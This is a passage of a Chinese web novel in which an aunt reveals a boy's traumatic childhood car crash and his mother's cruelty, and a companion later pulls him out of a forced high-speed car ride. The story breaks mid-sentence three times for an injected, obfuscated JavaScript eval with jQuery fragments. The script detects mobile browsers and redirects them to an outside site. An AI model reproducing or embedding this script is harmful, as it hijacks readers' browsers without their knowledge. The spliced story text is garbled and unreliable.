宋柏认真地看着她,以一种晚辈谦卑的姿态道:“兰姨,我有些事情想询问您。”
“想要问问你敢不敢~”①兰澈哼着歌,埋头在文综卷子里等了足足五分钟,才抬起头看向钢琴后的窗户。
精大个和她妈就坐在窗外小院的圆桌边,隐隐有对话声从窗缝里传来。
兰澈又往旁边的中式厨房一瞧,江清圆就在里面熬汤,为了不打扰她学习,厨房门紧闭。
没有一个大人注意到她。
兰澈一扔没碰过卷子一下的笔,呲溜一下从高脚凳上滑了下来,迈着青蛙步就摇到了钢琴旁。用钢琴挡住自己,兰澈忙不迭地偷听起了院子里已经进行了好一会儿的对话。
那个精大个刚刚在那装老实人,她妈被骗过去,她可是清晰地透过现象看本质了,她倒是要听听精大个要打听什么,她妈被骗也就一时的,她哥这么好的人,要和他长期待在一起,智商也就那样,可不能被骗了。
却不料偷听到的第一句话,就叫兰澈僵了身体。
“江骄去世的事情,实在怪不到小圆身上。”
兰盛梅脸上已经不见了一点笑意,哪怕已经过了十二年,再提起这件事,依旧让她心碎:“江骄出意外,是在他们10岁的时候。”
兰盛梅一辈子都能清楚记得事故发生在哪天——八月十五中秋节。
江铸和兰盛莲带着十岁的江骄和江清圆回老家去和爷爷奶奶过中秋节,他们提前两天到的老家,也许是路上颠簸,刚到老家的那天晚上,江清圆就发起了烧。
他体质因打小没照顾好,抵抗力弱,发烧感冒是常事,兰盛莲和江铸没多在意,只给他喂了点常备着的退烧药。
却不料接下来两天越来越严重,以至于将身体很好的江骄都传染感冒了。
老家在村子里,只有一间小诊所,虽然立马带着江骄去了,但兰盛莲不放心江骄吃小诊所开的感冒药,加之小诊所的大夫一看和江骄一道顺便送过来的江清圆,吓了一跳:“哎呦,这孩子才严重呢,这都四十度了,得赶快送医院治疗了,再拖就烧傻了!”
兰盛莲和江铸这才决定连夜开车返回城市。
上高速的时候,恰巧过了十二点。
中秋节到了。
黑沉沉的天空上,十五还不太圆的月亮静静浮沉着。
兰盛梅接到电话的时候,正好十二点半,表盘指针转了半圈,转得月亮被飘来的乌云遮了一半。
她听见电话里传来的急促声音:“您好,是兰盛莲家属吗,您姐姐一家在高速公路上出了车祸,现在正送往涧州第一人民医院,麻烦您来一趟吧。”
兰盛梅不知道自己怎么赶到医院的,等站在医院的走廊里,看见半边身子都是血的兰盛莲,她才重新找回意识。
“姐……”兰盛梅声音颤抖地叫她。
兰盛莲的身子比她的声音抖得更厉害,她一点没听见妹妹的呼喊,只微微侧偻着身子,死死地盯着面前的病房。
兰盛梅走上前,顺着她的方向,透过病房门中间的窗户看去,只一眼,就急促地啊了一声,眼前也一黑,只觉天旋地转。
空
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074081|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
荡荡的病房中间,是一张停尸床,上面一张白布,盖着一个小小的身躯。
“啊!!!”耳边传来一声足足有一个世纪那么漫长的,撕心裂肺才能喊出来的悲嚎,兰盛梅的胳膊被一双手死死抓住了。
她满脸泪水地转过头去,就看见姐姐像被抽了脊椎一般,成了一摊烂泥,顺着自己的手臂,摇晃着向地上委倒去。
兰盛梅后来经常能想起这个画面,而有些很静谧的时刻,伴随着这个画面,她想的是,想的是…她那时没看见白布下盖的脸是谁,却又一瞬间明白了白布下盖的是谁。
因为兰盛莲是那么悲伤。
这个时候,她就会忍不住假如,假如那天白布下的是江清圆,她的姐姐也会那样伤心吗?
她不敢继续往下想。
接下来的一切混乱成一片,而等兰盛梅想起来事故发生后,她还没见过江清圆时,距离车祸已经过去了三天。
她立马前往了姐姐家的小别墅,上了二楼推开兄弟两人屋子的门,看见江清圆了,才发现江清圆似乎还穿着车祸那天的衣服。
小小的孩子以一种婴儿还在母体里的姿势蜷缩在床上,因车祸撕裂的裤子垂在床边,露出的擦伤和伤口不见一点处理的痕迹,已经开始化脓了,而他整个人一动不动,露出的耳朵通红一片。
兰盛梅叫了一声小圆,没听见回答,心里一咯噔,上前一摸额头,滚烫一片。
感受到温柔的触摸,小江清圆缓缓将头抬了起来,兰盛梅看见了一张烧得通红的,流着泪的脸。
她记忆里其实没有见过这孩子流泪,不管是面对兰盛莲的偏心,还是被保姆暗地里苛待,江清圆都是一副笑眯眯的不在意样子。
按照大人的话来说,就是这孩子很懂事乖巧,一点不让人操心。
但此时的小江清圆哭得那么凶,泪水断了线地奔涌出来,像是要把身体里所有的水分都哭干。
“小姨,对不起,”他颤抖着开口,用稚嫩沙哑的声音一字一句地说,“该死的是我。”
兰盛梅的眼眶一下子就红了,她伸手抱住眼前小小的,瘦弱的孩子,流着眼泪道:“不是的,小圆,这不怪你,你没有错。”
这怎么能怪你呢,孩子。
江清圆在她怀里一动不动,灼热的脸颊贴上她的脖颈,兰盛梅感觉到了越来越汹的泪水。
“怎么不怪他。”背后传来脚步声,兰盛梅回头,兰盛莲站在门边,面色像是随江骄一样去了三天的白,“如果不是他发烧,我和江铸就不会连夜开车带他回来看病,不回来看病,又怎么会发生车祸,他哥哥又怎么会死!都怨他,骄骄的死都是他害的!”
兰盛莲声音越说越尖锐,兰盛梅惊惧地在她眼中看到了恨。
落在她怀里的,江清圆身上的恨。
“呵,”兰盛莲陡然收了恨,看向江清圆的眼神变成了冰冷的嘲讽,轻飘飘地道,“这不烧了五天五夜,我看也没烧傻。”
兰盛梅怀里的孩子颤抖了一下,脸颊滚烫,手脚冰凉。
十二年后,宋柏坐在阳光灿烂的花园里,听着兰盛梅的讲述,手脚一如江清圆当时冰凉。
8. 08
“为什么要这么对他?”
这是宋柏问的第一个问题。
为什么发烧了两天不带他去看?为什么出事后不给受伤的他治疗?为什么车祸要怪在十岁的他身上?
为什么做这些事的是妈妈?
“兰盛莲是我姐姐,”兰盛梅看着对面年轻人冰冷的神色,没有直接回答,“我们两个下面,还有一个妹妹。”
妹妹是老幺,从出生开始就成为了老两口的命根子,被他们无法无天地宠着。
连名字都和她们取的不同,叫兰心仪。
父母的爱就那么多,一个孩子被时时刻刻地在意着,其他孩子只能等偶尔的想起。
兰盛梅笑了一下:“我姐还是家里老大,除了不被在意,又承担了很多‘姐姐该做的事’。”
高中的时候,在一次兰盛莲的零食又一次被兰心仪抢走后,兰盛梅意料之中地听到了那种话:“我以后如果有两个孩子,一定加倍对大的好。”
恨恨说完后,她顿了顿,又补充道:“当然,也不是说不对小的好。”
“小圆和小骄是双胞胎。你知道吗,双胞胎在母体里是会抢夺营养的,小圆抢不过小骄,娘胎里就体弱,出生的时候就更难,让我姐多受了很多痛。”
其实江骄因为营养好,斤两过足,生的时候也不轻松。
但他赢在了先生出来。
于是来到这个世界的第一声嘹亮哭声,就让兰盛莲酸了鼻子,觉得这后半生的爱啊希望啊,都有了存放之处。
接下来生江清圆的那一个多小时里,兰盛莲都是望着江骄哭的方向生的。
等护士抱着一大一小的两个婴儿递给兰盛莲后,她满含热泪地将江骄迫不及待地抱在了怀里。
将脸颊贴在怀里婴儿软软的脸颊上后,兰盛莲抬头看着护士,她认真看了护士怀里哭声微弱的另一个孩子好久,谁也不知道她心中是怎么想的,只听到她淡淡的声音:“我抱不下了,把他放摇篮里就行。”
兰盛梅知道这件事后,心想,她姐姐真是个说到做到的人。
“你觉得世界上会有妈妈不爱孩子吗?”兰盛梅很想问对面的宋柏。
高中的兰盛莲只是说要对大的比小的好,但生子后的兰盛梅每在娘家看见妈妈偏爱妹妹一次,就忍不住回家迁怒江清圆,故意当着他的面对江骄好而少他一份时。
不知道还记得不记得,当初的她也说过的——不是不对他好。
而这个妈妈爱不爱孩子这个终极问题,终于在一个兰盛莲又拉着她逛街和她聊滔滔不绝聊了一下午江骄后,却在兰盛梅问她江清圆现在多高多重我们也给他顺便买件衣服时哑口无言那刻,得到了答案。
兰盛莲并不是后来逐渐不喜欢江清圆的。
而是当江骄出来先一刻获得了兰盛莲的爱后,后面的江清圆就理所当然成了承载兰盛莲恨的存在。
江清圆是在妈妈恨中出生的孩子。
哪里又有机会获得爱呢。
但不被公平爱着的江清圆又能怎么办呢,他隐隐约约懂得这些的时候,也不过三四岁,只能在每回爸爸妈妈回家,江骄飞奔进他们怀里时,懂事地站在远处偷偷羡慕罢了。
但这些,她并不能对宋柏说。
兰盛莲再怎么样,也是她亲姐姐。
“我只能给你说这些,”兰盛梅看着眼前的青年,“如果你真的像你刚刚说的那样,知道这些就已经该懂得怎样对待小圆了。”
“当然,如果你要拿着这些去伤害小圆,”兰盛梅收了笑,“他没有妈妈,也还有我,我不会放过你的。”
*
江清圆的山药排骨汤煮到一半,厨房的门突然被推开,一回头,就看见兰澈眼眶红红地站在门口。
“不至于吧,”江清圆以为她是做不完卷子害怕吃不上饭,有些好笑,“放心,我偷偷给你留一份,就算写不完卷子,也不会让你真去喝西北风的。”
一般这个时候,兰澈就该高兴过来了。
但这回她却异常沉默,她走近接过江清圆手中的汤勺,看着锅里的山药排骨汤,问:“哥,你喜欢喝这个汤吗?”
她是被送养给兰盛梅的,兰盛梅对婚姻没有渴望,却想有一个自己的孩子,偶然得知一家远房亲戚赌/博输得养不起孩子了,要把家里的女儿卖掉,就这么收养了她。
兰澈12岁来到兰家时,她的姑妈姑父已经完成了从小镇做题家到富一代的升级迭代,甚至领先同辈,有始有终地体验完了婚姻所有环节。
对于这个突然冒出来的便宜大侄女,两人实在演不出来喜欢,但作为编剧的兰盛梅当时正处于事业上升期,常年在外地跟组,实在照顾不了女儿。
兰心仪在国外留学,她只能把女儿放到姐姐家。
兰盛莲也忙,忙到两岁的江耀都照顾不了。
兰心仪想起江耀就头疼,她这个表弟简直是邪恶反派幼年体。
才两岁就开始挑食,兰盛莲给他换了无数个保姆,做的饭都不吃。
兰盛莲急得不得了,急得连江清圆都知道了这件事,于是再来妈妈家的时候,试着给弟弟做了一顿饭。
奇了怪了,江耀竟然吃了,还很喜欢吃,人生第一次光盘行动。
于是理所当然的,江清圆就成为了他新的保姆。
兰盛莲能容忍兰澈住在她家,却不能容忍江清圆在她家多待一秒钟。
那时候的表哥多大呢,兰澈想,肯定比准高三的自己小。
十四岁?还是十五岁?每天中午午休和下午放学都会来兰盛莲家一趟,给江耀做午饭和晚饭吃。
兰澈当时也跟着吃,以前江清圆没来的时候,保姆给江耀做什么,她就跟着吃什么。
但毕竟是两岁小孩的饭,清淡得像她空白的作业本,兰澈吃起来极其痛苦,但她不招兰盛莲待见,保姆是兰盛莲给江耀请的,自然不会为她费心,加之她寄人篱下,只能跟着江耀吃。
但江清圆来后,一切就不一样了。
兰澈永远记着那天。
第一次来做饭江清圆进屋后放下书包,从里面掏出一个本子,将她叫过去,弯起漂亮的眼睛,很认真地问她:“小澈有没有喜欢吃的口味呢?”
兰澈瞥到崭新本子封面上写着两个字,她的名字。
十二岁女孩的委屈,就这样被江清圆轻轻赶走了。
从此以后,饭桌上,再也没少过兰澈喜欢的味道。
哪怕多给兰澈费一道心思,会彻底占用掉江清圆所有的午休时间。
也是在江清圆来之后,兰澈每天多了一瓶牛奶。
现在的她十七岁,已经有一米七高了。
是个高挑的,健康的姑娘。
有些事情大人们从来不愿意告诉她,所以兰澈以为江清圆生性独立,不愿意在姑妈家里住,以为江清圆这么会给他们两个人做饭,肯定自己想吃什么,也会给自己做。
但此时兰澈看着锅里的汤,突然动摇了自己的笃定。
她和江耀都很喜欢喝山药排骨汤,于是江清圆给他们做了无数次。
但江清圆自己喜欢喝这个汤吗?
“我?”江清圆见她接了汤勺,转身去准备另一道她喜欢吃的,听她这么问,怔了一下,笑着说,“当然喜欢啊。”
其实说不上喜欢不喜欢,从前大学和舍友出去吃饭,倒尝过川渝那边的味道,江清圆觉得小炒黄牛肉很好吃。
但家里人都不喜欢吃辣,他也就再没吃过。
“怎么这么问,最近又有想吃的新菜了?”江清圆觉得女大十八变,口味变一变也是很正常的,就问,“什么菜,我学学,下次给你做。”
“做什么做!”一道中气十足地声音传来,兰盛梅迈着杀女儿的步伐进了厨房,“卷子做完了吗就点上菜了?”
兰澈被吼得一个激灵,捂着耳朵往厨房外跑去,出去时和江清圆对视了一眼,他站在兰盛梅背后,弯着眼睛从兜里掏出手机,拿手指了指。
意思是让兰澈发微信给他。
这是他们之间的默契,兰澈有什么想吃的想要的兰盛梅不给买,她就发微信给江清圆,江清圆总会给她买。
兰澈喜欢叫他哥而不是表哥,是因为在这个很虚伪的家里,只有兰盛梅对像她亲妈,江清圆对她像亲哥。
但她有江清圆,江清圆有谁呢。
厨房的门在背后重新关上,兰澈往前望去,看见宋柏正从门外走来。
*
兰盛梅和宋柏刚刚谈完沉重的话题,饭桌上却不约而同地什么都没提。
兰盛梅这回来,主要是又给江清圆又接洽了新剧本项目:“一共有两个,都是中等体量的剧,一个乡村一个抗日,你先看看你想写哪个。”
她看向江清圆的眼神有些无奈。
在兰盛莲看来,江清圆的灵气是不该磋磨在这种会被观众怀疑洗/钱的剧上的。
但江清圆从学校离开后一直在接这种剧,理由是…
给的钱多。
是的,播出来能受观众喜欢的剧,要么是大制作大班底的S+,要么是虽然穷但愿意认真打磨剧本的黑马。
但大制作江清圆够不上,小剧组给不起太多钱。
其实能够上的,兰盛梅默默想。
只要江清圆愿意用心,一定就会有那一天的。
只要他不再继续在这些编剧都不需要跟组的剧里蹉跎。
“我可以都接,”江清圆想了想自己的项目安排,“能挤出时间。”
兰盛梅看了他一会儿,点了点头。
对于剧方来说,江清圆确实好用,他写得好又听话,要他改的地方不管是改什么改几遍,从来没有说过一个不字。
最重要的是还不拖延,从来都是提前完成得漂漂亮亮。
“但是也要注意身体,”兰盛莲明知道劝不住,点完头还是又到,“你自己现在还有两个项目在进行,加上这两个,还有时间睡觉吗?”
“那两个已经快结束了,这两个我不是总编,可以的。”江清圆一边回话,一边用余光去瞧旁边。
他本以为有了宋柏这个陌生人的加入,这顿饭肯定会尴尬一些,但此时饭桌另一边……
“那高考完填志愿的时候,一定咨询你。”兰澈对宋柏道。
一顿饭都没吃完,都有一年之约了。
江清圆低头喝着汤想,宋柏只和他签了四个月的合同,一定会拒绝的吧。
“好,”宋柏答应道,“接下来高三你有什么问题,也可以问我。”
江清圆:“……”
这话兰澈还没说什么,旁边身为准高三家长的兰盛梅眼睛一下子先亮了。
兰澈想考的学
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074082|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
校就是涧科大。
她是想过给她找涧科大的家教,但涧科大学生的家教费贵先不说,主要是供不应求,根本抢不到。
“你哪个专业的?”兰盛梅忍不住问。
“人工智能,”宋柏微微低头,面上一片谦虚,嘴上利刃出鞘,“保送进来的。”
“加个微信吧。”兰盛梅无法拒绝。
有了这层光环,兰盛梅对宋柏的笑一直到走都没停下来过。
到最后江清圆才分过来点目光。
“如果有什么烦心事,一定要和小姨说,知道吗?”兰盛梅和兰澈已经走到了门外,她摸摸江清圆的头,第一万遍不厌其烦地说,“没钱了也要给我说,你不要你爸妈的钱,总不能不要小姨的钱吧?就算不写剧本不工作,小姨也可以养得起你和澈澈的。”
她搞不明白江清圆为什么那么需要钱,但他如果有钱上的问题,不想要兰盛莲夫妇的钱的话,她愿意江清圆从她这里拿。
兰澈在一旁猛猛点头:“哥,我妈最近赚了笔大的,绝对够咱俩瓜分!”
江清圆被她逗笑了 :“那谢谢你愿意让我当你的帮凶。”
说完又笑着看向兰盛梅:“谢谢小姨,我现在挺好,没什么事。”
笑着送走兰盛梅母女两人,江清圆转身回了客厅,就见宋柏已经收了餐盘,正在厨房洗碗。
“你放在那里就行,有洗碗机,”宋柏转过头,就见江清圆站在门口,脸上没什么表情,“我有事和你说。”
“我妹妹九月份开学就高三了,正是最要紧的时候,”江清圆很认真道,“你没事最好别找她,更别对她起什么不该有的心思,不然我不会让你好过。”
江清圆不擅长发火,背在身后的两只手死死拧着,但还是硬着头皮恐吓道:“我不是什么脾气好的人。”
好吧,他就是恶意揣测宋柏了,不然他实在想不到宋柏为何无故何对兰澈那么好。
兰澈是个漂亮姑娘,性格又好,在江清圆看来招人喜欢是再正常不过的事情了。
这话也是个试探,宋柏这个人他不了解,万一他对兰澈真有那种心思,那这人必须立刻离开小别墅。
至于宋柏说的自己是男同,江清圆觉得自己又不是傻子,肯定不是他什么自己就全信什么。
宋柏没想到江清圆会这么想,怔了一下后笑了,他觉得江清圆平日里像个鹌鹑不吭不响,其实脑子是个风力发电机,时时刻刻都在努力吭哧转着,时不时转出来道抽风。
江清圆说完这句话,就见宋柏愣了一下后笑了, 然后就朝自己走来。
宋柏比他高了整整一个头,江清圆吓得头发都要竖起来了了,眼睛转着就要找最近防身的武器。
“发烧好了吗?”他下一秒就听到宋柏这么问。
“啊?”没人这么问过自己,江清圆懵了一瞬,“好了呀。”
宋柏礼貌地在半米外站定,也很认真地回答:“我不会对你家其他人起心思。会对你妹妹好,是因为你对她很好。”
对面,江清圆眨巴了眨巴眼。
宋柏还没来得及了解到的是,江清圆的风力发电机除了不时抽风,还很会自圆其风。
这句话在他脑子里转了一圈,转出了江清圆自己的理解——他又在讨好我了。
可他真的会按时给宋柏发工资啊,第一个月的五万块钱,他已经打到宋柏卡上了。
还没来得及再劝宋柏,江清圆又听见宋柏道:“今天你妈妈来找我了。”
江清圆猛地抬头。
宋柏不愿意他们两人之间因为自己的隐瞒,为日后埋下任何误会的雷,开门见山道:“她给了我一张有200万元的银行卡。”
和电视剧演的一样。
“他有告诉你,是他害死了自己的亲哥哥吗?”兰盛莲眼含泪水,这么轻轻说完后,等着对面人露出震惊的表情,让自己可以给他讲述江清圆的可恨。
卡座对面,宋柏确实挑了挑眉,身子往后靠了靠。
却没如兰盛莲所想哪怕露出一点惊讶。
“什么时候的事情?他们两人当时几岁?为什么会发生这样的事情?”宋柏漆黑的眼睛看过来,探究褪去,换上了更凌厉的询问意味,“你和他爸爸作为父母,在其中发挥了什么样的作用?”
宋柏话里客气,但声音淡漠:“不然只凭这句话,您是想让我讨厌江清圆吗?”
兰盛莲眼中的泪水顿了一下,也没有一丝慌乱,她收起照片,抬手抹去脸上的泪水,面上全然是属于母亲的悲伤:“我不愿多说,是为了保护小圆。”
“这里面有200万,”兰盛莲推过去一张银行卡,看向宋柏,“你在小圆身边待着,迟早会被他害了,像他当年害他哥哥一样,200万比你能在他那里赚的要多多了吧?你拿着就离开他吧,我给你出具我自愿赠予你的说明。”
“那你拿了?”江清圆问宋柏。
问完又觉得自己傻,宋柏只要不傻,肯定就会拿的,说不定人家大中午赶过来,就是为了马上搬走。
江清圆这么想着,侧身,给他让开了道。
“我没有。”宋柏轻轻回答。
江清圆再次抬头,撞进了他含笑望着自己的眼睛里:“小老板,我是那么没有契约精神的人吗?”
“合同有效期内,我永远对你忠诚。”
9. 09
“啊……”宋柏说得认真,江清圆倒一时分不清他是不是开玩笑了。
忠诚这种词,他写剧本都不敢轻易用,宋柏怎么就能轻易说出口。
江清圆下意识想抬手摸摸耳朵,结果手没找到耳朵在哪,一巴掌就糊在了自己脸上,他尴尬地捏了捏自己脸:“我去洗碗。”
全然忘记了刚刚放洗碗机那番话。
绕过宋柏走了一半,江清圆猛地转身,才想起来自己还要说什么:“哦…就是你拒绝过我妈一次,我妈不会再来找你了,你不用怕。”
兰盛莲的骄傲不会允许她再从宋柏身上下手。
说罢,兜里的手机震了两下,江清圆点开一看,有些无奈。
兰盛莲女士确实没再找宋柏,她来找他了。
很简短的两条微信消息,一条定位,跟着一条让他马上到的命令。
江清圆只能匆匆出门。
兰盛莲给他发的定位很偏远,公共交通只有一班城际公交,下了公交车,还要再走一公里的路。这一公里内,江清圆都没有见到路边停着哪怕一辆电动车或共享单车。
小心翼翼穿过大车横行的马路,江清圆站到了一个庄园大门外,兰盛莲这处房产他没来过,但看到庄园大门后那宽阔的赛车跑道时,江清圆心跳停了一瞬。
环顾四周,除了五米外一个支着红色遮阳伞卖水的大爷外,再见不到一个活人。
大爷见他望过来,手里蒲扇一停:“小伙子买水吗?有冰的。”
江清圆笑了笑:“谢谢您,我不买。”
大爷:“你说啥?”
江清圆:“……”
真是个叫天天不应,叫地地不灵,叫大爷大爷还耳背的地方。
江清圆摸摸耳朵,心中叹了口气,推开门进了庄园。
他朝庄园主楼走去,远远就看见门口停了一辆车,车旁站着一个高高的人。
走近了一看,竟然认识——方铭华。
方铭华也没想到老板邀请的人是江清圆,惊讶过后脸上不由地带了笑,对他打了个招呼。
见到笑盈盈的江清圆总比见兰盛莲生意上那些肥头大耳的中年男老板让人开心。
江清圆也对他打了个招呼后,就看见庄园主楼的门开了。
兰盛莲站在门后,脸上带着惯常见外人的笑,让人瞧不出喜怒:“我准备开个赛车酒店,正好这庄园带着赛车道,我就谈下来了。”
她慢悠悠地铺垫着这些,看着江清圆的脸色因为她的话逐渐变白,上午和宋柏谈话生出来的气才散了一点:“今天下午就你坐方铭华开,试试这几条赛道吧。”
她看向方铭华:“先开一个半小时的,用最大速度开。”
方铭华回了个好。
“后排最右的位置不错,”兰盛莲看着江清圆刷一下白到极致的脸,心中终于大快,“你就坐在那里吧。”
那年出车祸时,江清圆就坐在后排最右边的位置。
一直等车停到起点,两人都坐上了车,方铭华都没听见江清圆说一句话,他系好安全带,转头一看,被江清圆的脸色吓了一大跳:“小老板,你没事吧?”
江清圆苍白的脸转过来,对他笑了笑:“没事,你开吧。”
他说完这句话,不愿再多说,后背抵在车椅背上,将头扭过去,埋在了窗户和椅背之间。
前排,油门被踩下,发动机发动的嗡鸣声响起,下一秒,巨大的推背感传来,车像一颗子弹一般,猛地窜了出去。
江清圆一颤,猛地闭上了眼。
黑暗笼罩而来,圆月自车窗外升起。
江清圆整个人像被攥住了喉咙,他抖着手摸上脖颈间,并没有人掐着他。
但他就是无法呼吸,也无法动弹。
车急速前进的感觉那么清晰,清晰到江清圆想尖叫。
“爸爸,能不能不要开那么快,我害怕…”
但他知道驾驶座和副驾上没人会听他的话,本来就是因为他身体不好总发烧,他们才连夜赶回去。
妈妈上车前刚指着鼻子这么骂过他。
他不是爸爸妈妈喜欢的小孩,再对他们提要求,被更不喜欢了可怎么办?
江清圆死死咬着嘴唇,呼啸的风声里,一颗心一下下地,被抛到天边又摔回地下。
巨大的恐慌下,推背感突然变强,江清圆整个上半身飞了出去,撞上了前面的椅背。
恐惧一下子攥爆了心脏,江清圆猛地睁开眼,一只手撑着前面椅背,另一手握着安全带,指尖狠狠陷在掌心里。
十二年前车祸造成的严重应激反应让他大脑变得空白,无法进行任何思考,眼前发黑,只能颤抖着瞳孔,直直朝前看去。
连呼吸都停止。
“小老板!小老板你没事吧!”方铭华焦急的声音像是从天边传来,他看着整个陷入炸毛状态的江清圆,一个快两米的大男人,一时竟被吓得动都不敢动。
眼见着都要掏手机打119了,后座的江清圆才缓缓眨了眨眼睛。
他眼前还是一阵阵地黑,但还是用一种近乎胆怯的眼神往左边看去——左边的座位空空荡荡,并没有一张一模一样的脸,用死去的大睁着的眼睛盯着自己。
江清圆浑身一松,缓缓往后倒去,冷汗已经浸湿了后背,他朝方铭华安抚地笑了笑:“我没事,对不起吓到你了。”
“多长时间了?”方铭华看到江清圆整个人慢慢蜷缩回后座上,额头抵着车窗,柔软的发丝下,低垂的长长眼睫遮住了他眼底所有情绪,只有声音里露出遮盖不住的疲惫。
那种疲惫不是一时的,倒像是长年累积下来的,很难想象是从一个如此年轻的身体里发出的,竟听得方铭华有一瞬的鼻酸。
“开了二十三分钟了。”方铭华回答他。
他看着眼前宽阔整洁的赛车道,其实想不明白兰盛莲为什么突然要他测试赛道。
这赛道不是一眼能看出的好嘛。
再说他又不会开赛车,现在开的这辆车也只是辆轿车。
还一定要让江清圆坐在后座,他看上去也不是专业的呀。
“继续往前开吧,再停在这里,我妈该扣你奖金了。”江清圆心里算着时间,想着按照兰盛莲的要求,还有一个多小时要熬,指尖就因恐惧而冰凉一片。
方铭华看他不愿意多说,两分钟后,重新踩下了油门。
江清圆不敢再闭眼,只拿一只手掐着另一只手的骨节,心里算着,掐一下,就熬过去了一秒。
自从出了车祸后,他真的好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074083|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
害怕坐车呀。
江清圆低垂着头,看着自己惨白的指尖出现一道道月亮样的红痕,默默想着,他上辈子肯定不但没做过好事,还十恶不赦。
所以每个害怕的时刻,都不会有好心人来救他。
幻想着有人来救他,是江清圆很小很小的时候,喜欢做的事情。
每个不被善待的小孩可能都想象过有个人会在某天从天而降,轻则含着泪说:“少爷/小姐,您流落在外这么多年,我们终于找到你了!”
然后将你塞进豪车运到一个豪宅面前,至此开启豪门人生。
重则递来一把枪:“世界都要毁灭了,你还要继续伪装成一个中学生颓废度日吗?!”
然后你脸色一禀,放下五年高考三年模拟,不知道往哪一按,蓝白校服变成作战服,鞋底激光涌动,下一秒带你冲破屋顶飞向天空,徒留昨天小卖部插队抢你最后一根烤肠的后桌张大他愚蠢的只在乎烤肠的嘴巴。
江清圆倒没幻想过这些,四岁的时候,江骄扑进爸爸妈妈怀里的时候,他远远站在一旁看着,在幻想妈妈抱完哥哥会走向他,也温柔地蹲下将他抱进怀里。
他一定不会像哥哥那样被亲了一下后就躲,妈妈想亲他脸蛋多少下就亲多少下,想摸他头多久就摸多久。
八岁的时候,当江骄坐在兰盛莲和江铸中间,挑选是去学奥数还是学马术的时候,江清圆躲在厨房门缝后,在幻想会有猫头鹰捎来他的录取通知书。
他不学奥数也不学马术,也不做战胜伏地魔的大英雄,只想被分配到赫奇帕奇,坐在离厨房最近的温暖休息室,有一两个也会问问他喜欢什么的朋友。
十岁的时候,蜷缩在小小的床上,江清圆在乞求着幻想会有什么神仙志怪降临,不管要拿走他什么都行,只要江骄能活过来,换他死去。
十岁以后就不再幻想了,也学会了控制自己不再去打扰妈妈。
更举一反三地明白了,除了妈妈,小姨也不能常去打扰,她为了自己和妈妈的关系已经僵硬了许多。
而唯一的朋友远在国外,有些事情说了只会让她着急,也是不要说。
只是,只是某些很孤立无援的时刻,江清圆还是难免会想起小时候。
小时候至少还有幻想可以依托。
例如此刻。
指尖已经被自己掐出血痕,江清圆的脸上早已寻不见一点血色。
他还骇惧里拼命控制着自己的身子不要发抖,努力地忽视窗外飞驰的风景和风声,让自己好熬一点。
“吱嘎——”
风声收,车再一次停住。
江清圆转头朝前看去,不是时间到了,而是有人拦在了车前。
下一秒,车门被打开了。
一个人弯腰,朝他看了过来。
他背后是八月刺眼的光晕,江清圆被晃了一下,一刹那竟荒谬地想着是少时的幻想成真了。
但眼前站着的自然不是神仙志怪,也没有超人英雄。
但他就是让车停了下来,哪怕迟到了许多年,终究是让这这辆不管不顾载着江清圆辆飞速前进的车停了下来。
并朝他伸出了手。
鼻梁上的泪被轻轻揩去,宋柏很温柔的声音传来:“别害怕,我来了。”
10. 10
江清圆怔怔地看着宋柏伸过来的手,他刚刚埋着头,此时仰起头,才露出红了的眼眶和鼻尖。
还有泪水要滴不滴地悬在眼眶里,看上去可怜得厉害。
宋柏被他这一眼看得心狠狠皱了一下,忍了又忍,才没把手放到他脸庞上。
而江清圆看清是宋柏后,扑面而来的是尴尬,他不让人看见这样的自己,慌忙地低头。
一动,眼眶里的泪就顺着鼻梁滑了下来。
好丢人。
江清圆抬手要去抹泪,眼前就多了一张纸巾。
车门外,递着纸巾的宋柏什么都没说。
“谢谢。”江清圆低声道了谢,没有看他,接过了纸巾。
幸好一切发生得太快,前排的方铭华也下了车,这份丢人宋柏一个人看见。
擦完泪,江清圆才有勇气抬起头,一看,宋柏的手竟还在他眼前等着。
这是一只很大的手,但很修长有力,掌心掌纹略深,看上去温暖干燥。
伸手的意义代表我想帮助你。
江清圆过往很少有人对他伸出过手,也很少有人将伸出的手这么固执地在他眼前停留这么久。
这对他简直是无法拒绝的诱惑。
江清圆看了好一会儿,不太熟练地将手放了上去。
宋柏被落在掌心里的冰凉激了一下,大拇指抽搐了一下,压制住了想摁在江清圆手背上,将他整只手拢在掌心里的欲望。
他丝毫不逾矩地托着江清圆的手,将他扶出了车。
走出车门站到地上的那刻,江清圆脚一软,下一瞬,小臂上就也多了一只手。
宋柏另一只手圈住他的小臂,稳稳地将他扶起,低头看来的目光有让人心安的可靠:“我们回去。”
